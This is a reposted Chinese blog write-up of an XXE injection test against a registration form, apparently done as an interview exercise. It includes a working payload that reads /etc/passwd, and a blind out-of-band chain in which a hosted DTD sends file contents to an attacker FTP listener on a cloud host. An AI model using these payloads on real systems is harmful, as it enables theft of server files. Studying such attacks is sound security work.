ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

一次XXE注入

2020-05-29 22:03:30  阅读:371  来源: 互联网

标签:xml 一次 HTTP dtd Go XXE xshell ruby 注入


前情提要

一个面试题,平时没研究过xxe,坑太多,光环境就鼓捣了一天多,记录一下

开始

一个简单的注册页面,注册完了也没别的啥页面,那就抓个包吧。

(不要在意截图信息不一致)

发现通过xml发送数据,自然想到xml注入,只有所耳闻,注定悲惨的结局。

废话不多说。

判断xml注入

xml是一种类似HTML但比HTML严格一些的语言(多了也不知道)

比如上图我在姓名处输入</name><name>不会报错,输入<name>就会报错,因为xml的标签必须成对出现。

利用

可以读文件

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///etc/passwd">
]>

<reg><name>&f;</name><tel>beddb</tel><email>&f;</email></reg>

file:///etc/passwd是要读取的文件路径,底下&f;应该是回显位置(纯属猜测),反正百度测试半天是一点反应没有,尝试xxe盲注。

Blind XXE

继续

准备阶段

云服务器

我选的是腾讯云主机,便宜,千万不要直接用自带的终端连接,没反应(也可能我人品不好)

xshell

  • xshell登陆云主机,我的是ubuntu

  • 环境准备,安装ruby

sudo apt-get install ruby
ruby -v  		                                 // 出现版本号证明安装成功

安装脚本一会用

git clone https://github.com/ONsec-Lab/scripts.git

新建一个xml.dtd文件(这些都直接在根目录整就完事儿)

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'ftp://云主机ip:2121/%file;'>">
%all;

开干

burpsuite抓包,修改

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://你的ip:端口/xml.dtd">
%dtd;
%send;
]>

<reg><name>svez</name><tel>vse</tel><email>vsesdse</email></reg>

这里因为我们的云主机还不能访问,使用以下命令一键开启监听8080端口

HTTP_PORT=8080 && python3 -m http.server $HTTP_PORT || python -m simpleHTTPServer $HTTP_PORT

xshell新建一个窗口(当然也是连接这个云服务器)

刚才我们安装了一个脚本,进入这个目录

cd scripts
ruby xxe-ftp-server.rb 

这时,打开bp,Go!Go!Go!发送请求

这时右边是没有响应的,别慌

xshell已经返回了数据

随便读取数据,更改路径就行

过程

bp语句<!ENTITY % dtd SYSTEM "http://你的ip:端口/xml.dtd">--->访问云主机的dtd文档(顺便告诉访问哪个文件)-->dtd文档将请求?转发到2121端口--->监听脚本读取数据

我已经凌乱了,就这样吧

标签:xml,一次,HTTP,dtd,Go,XXE,xshell,ruby,注入
来源: https://www.cnblogs.com/tuchuss/p/12989767.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有